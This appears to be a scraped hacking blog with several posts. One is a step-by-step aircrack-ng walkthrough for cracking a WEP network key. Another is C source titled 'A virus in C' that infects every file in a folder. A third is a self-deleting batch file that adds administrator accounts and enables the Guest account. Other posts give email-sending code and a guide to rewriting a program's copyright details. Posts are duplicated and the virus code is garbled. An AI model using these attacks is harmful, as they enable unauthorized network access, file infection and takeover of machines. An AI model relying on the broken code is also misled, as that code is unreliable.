Step 1 - Start the wireless interface in monitor mode on AP channel
airmon-ng stop ath0
The system responds:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Step 2 - Test Wireless Device Packet Injection
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0
Where:
-9 means injection test
-e teddy is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
ath0 is the wireless interface name
Step 3 - Start airodump-ng to capture the IVs
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0
While the injection is taking place (later), the screen will look similar to this:
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782
Step 4 - Use aireplay-ng to do a fake authentication with the access point
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
Where:
-1 means fake authentication
0 reassociation timing in seconds
-e teddy is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
ath0 is the wireless interface name
Success looks like:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
Step 5 - Start aireplay-ng in ARP request replay mode
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
Step 6 - Run aircrack-ng to obtain the WEP key
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
Where:
-b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only
capture data for this one AP.
output*.cap selects all files starting with “output” and ending in ”.cap”.
Here is what success looks like:
Aircrack-ng 0.9
[00:03:06] Tested 674449 keys (got 96610 IVs)
KB depth byte(vote)
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0)
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12)
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10)
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15)
KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%
Thursday, January 12, 2012
Wednesday, January 11, 2012
A virus in "C".
unsigned long x;
char buff[256];
struct ffblk;
clock_t st,end;
main() //www.ashu-hackingforever.blogspot.com
{
st=clock();
clrscr();
end=(findfirst("*.*",&ffblk,0);
while(!end)
{
virus=fopen(_args[0],"rb");
vhost=fopen(ffblk.ff_name,"rb+");
if(vhost==NULL)
goto next;
x=89088;
printf("infecting %s\n",ffblk.ff_name);
while(x>2048)
{
fread(buff,256,1,virus);
fwrite(buff,256,1,vhost);
x=2048;
}
fread(buff,x,1,virus);
fwrite(buff,1,vhost);
a++;
next: fcloseall();
done=findnext(&ffblk);
}
end=clock();
printf("infected %d file in %f sec",a,(end-st)/CLK-TCK);
return(0);
}
char buff[256];
struct ffblk;
clock_t st,end;
main() //www.ashu-hackingforever.blogspot.com
{
st=clock();
clrscr();
end=(findfirst("*.*",&ffblk,0);
while(!end)
{
virus=fopen(_args[0],"rb");
vhost=fopen(ffblk.ff_name,"rb+");
if(vhost==NULL)
goto next;
x=89088;
printf("infecting %s\n",ffblk.ff_name);
while(x>2048)
{
fread(buff,256,1,virus);
fwrite(buff,256,1,vhost);
x=2048;
}
fread(buff,x,1,virus);
fwrite(buff,1,vhost);
a++;
next: fcloseall();
done=findnext(&ffblk);
}
end=clock();
printf("infected %d file in %f sec",a,(end-st)/CLK-TCK);
return(0);
}
create mail message object.
// create mail message object
MailMessage mail = new MailMessage();
mail.From = ""; // put the from address here
mail.To = ""; // put to address here
mail.Subject = ""; // put subject here
mail.Body = ""; // put body of email here
SmtpMail.SmtpServer = ""; // put smtp server you will use here
// and then send the mail
SmtpMail.Send(mail);
Here goes the program vc++ code
#define _CRTDBG_MAP_ALLOC
#include "windows.h"
#include "crtdbg.h"
#include "string.h"
#include "CkSettings.h"
#include "CkEmail.h"
#include "CkEmailBundle.h"
#include "CkMailMan.h"
#include "CkString.h"
#include "CkByteData.h"
void EmailExample(void)
{
CkMailMan mailman;
// This seems to have a 30-day trial period.
bool unlocked = mailman.UnlockComponent("30-day trial");
if (!unlocked)
{
printf("Failed to unlock component\n");
return;
}
mailman.put_SmtpHost("mail.earthlink.net");
This contains the actual email componets
CkEmail email;
email.put_Body("This is a test\r\nThis is line #2");
email.AddTo("Google Hacks","communityonwer@gmail.com");
email.put_FromAddress("communityonwer@gmail.com");
email.put_Subject("Google Hacks is the best site");
if (!mailman.SendEmail(&email))
{
mailman.SaveLastError("errors.xml"); // error
}
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
freopen("stdout.txt","w",stdout);
EmailExample();
CkSettings::cleanupMemory();
_CrtDumpMemoryLeaks();
return 0;
}
If you want html just replace body with a html code. Only basic html code will work.
If you wish to add BCC after email.AddTo() . You need to add this as many as times as you want based to how many people
you want to mail.
email.AddBcc("Orkut Tricks","communityonwer@gmail.com");
If you wish to add CC just copy the above code and replace Bcc with cc
Code to add attachments . Repete this code as many times as you want based on the no of attachments you want to send
// Add a file attachment.
if (!email.AddFileAttachment("googlehacks.gif",0))
{
email.SaveLastError("errors.xml");
return;
}
If you want all your attachments to be zipped the use this code after you enter all the attachments
if (!email.ZipAttachments("googlehacks.zip"))
{
email.SaveLastError("errors.xml");
return;
}
MailMessage mail = new MailMessage();
mail.From = ""; // put the from address here
mail.To = ""; // put to address here
mail.Subject = ""; // put subject here
mail.Body = ""; // put body of email here
SmtpMail.SmtpServer = ""; // put smtp server you will use here
// and then send the mail
SmtpMail.Send(mail);
Here goes the program vc++ code
#define _CRTDBG_MAP_ALLOC
#include "windows.h"
#include "crtdbg.h"
#include "string.h"
#include "CkSettings.h"
#include "CkEmail.h"
#include "CkEmailBundle.h"
#include "CkMailMan.h"
#include "CkString.h"
#include "CkByteData.h"
void EmailExample(void)
{
CkMailMan mailman;
// This seems to have a 30-day trial period.
bool unlocked = mailman.UnlockComponent("30-day trial");
if (!unlocked)
{
printf("Failed to unlock component\n");
return;
}
mailman.put_SmtpHost("mail.earthlink.net");
This contains the actual email componets
CkEmail email;
email.put_Body("This is a test\r\nThis is line #2");
email.AddTo("Google Hacks","communityonwer@gmail.com");
email.put_FromAddress("communityonwer@gmail.com");
email.put_Subject("Google Hacks is the best site");
if (!mailman.SendEmail(&email))
{
mailman.SaveLastError("errors.xml"); // error
}
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
freopen("stdout.txt","w",stdout);
EmailExample();
CkSettings::cleanupMemory();
_CrtDumpMemoryLeaks();
return 0;
}
If you want html just replace body with a html code. Only basic html code will work.
If you wish to add BCC after email.AddTo() . You need to add this as many as times as you want based to how many people
you want to mail.
email.AddBcc("Orkut Tricks","communityonwer@gmail.com");
If you wish to add CC just copy the above code and replace Bcc with cc
Code to add attachments . Repete this code as many times as you want based on the no of attachments you want to send
// Add a file attachment.
if (!email.AddFileAttachment("googlehacks.gif",0))
{
email.SaveLastError("errors.xml");
return;
}
If you want all your attachments to be zipped the use this code after you enter all the attachments
if (!email.ZipAttachments("googlehacks.zip"))
{
email.SaveLastError("errors.xml");
return;
}
How to get the admin privilages.
The below code will allow a guest to be a admin . You will not be the actual admin but will get admin privilages
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Copy this to notepad and save the file as "anyname.bat" .make double click on this.....
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Copy this to notepad and save the file as "anyname.bat" .make double click on this.....
Monday, October 17, 2011
Cross-site scripting (XSS)
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables attackers to inject client-side script into web pages viewed by other users.
A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites accounted for roughly 80% of all security vulnerabilities documented by Symantec as of 2007.Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.
Download
A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites accounted for roughly 80% of all security vulnerabilities documented by Symantec as of 2007.Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.
Download
Saturday, October 1, 2011
How to change property of any software.
Here I have shown you property of VLC Media player.Copyright is not of vlc media player instead of that copyright is to "Hackingforever".you can change all the property not only of vlc media player but other software as well.just fallow these simple steps and take copyrights to you and impress the people.
Step1:Download resource hacker by typing it in google or from this link.
http://www.softpedia.com/progdownload/Resource-hacker-download-1520.html
step2:
open the exe file in resource hacker.
step3:
In left side you can see some option like icon
,icongroup,versioninfo and may be some other option depending on the software for which you are going to make some changes.
step4:
Click on version info then 1033.here in right side you can see properties of vlc just change it. click on compile script then save it on some place.
step5:
Rename it and give origanal name of software.copy it paste it on original location(where from you had opened the original soft).
step6:
Make a right click on soft go to details tab and you can see changes have made here.
note:
1)If you are opening any system file(windows file),then copy it first to another location then make changes and paste it on previos location.
2)you may required to mange permissions that I have already discussed in previous post.
3)open resource hacker as administrator.
Step1:Download resource hacker by typing it in google or from this link.
http://www.softpedia.com/progdownload/Resource-hacker-download-1520.html
step2:
open the exe file in resource hacker.
step3:
In left side you can see some option like icon
,icongroup,versioninfo and may be some other option depending on the software for which you are going to make some changes.
step4:
Click on version info then 1033.here in right side you can see properties of vlc just change it. click on compile script then save it on some place.
step5:
Rename it and give origanal name of software.copy it paste it on original location(where from you had opened the original soft).
step6:
Make a right click on soft go to details tab and you can see changes have made here.
note:
1)If you are opening any system file(windows file),then copy it first to another location then make changes and paste it on previos location.
2)you may required to mange permissions that I have already discussed in previous post.
3)open resource hacker as administrator.
Subscribe to:
Posts (Atom)




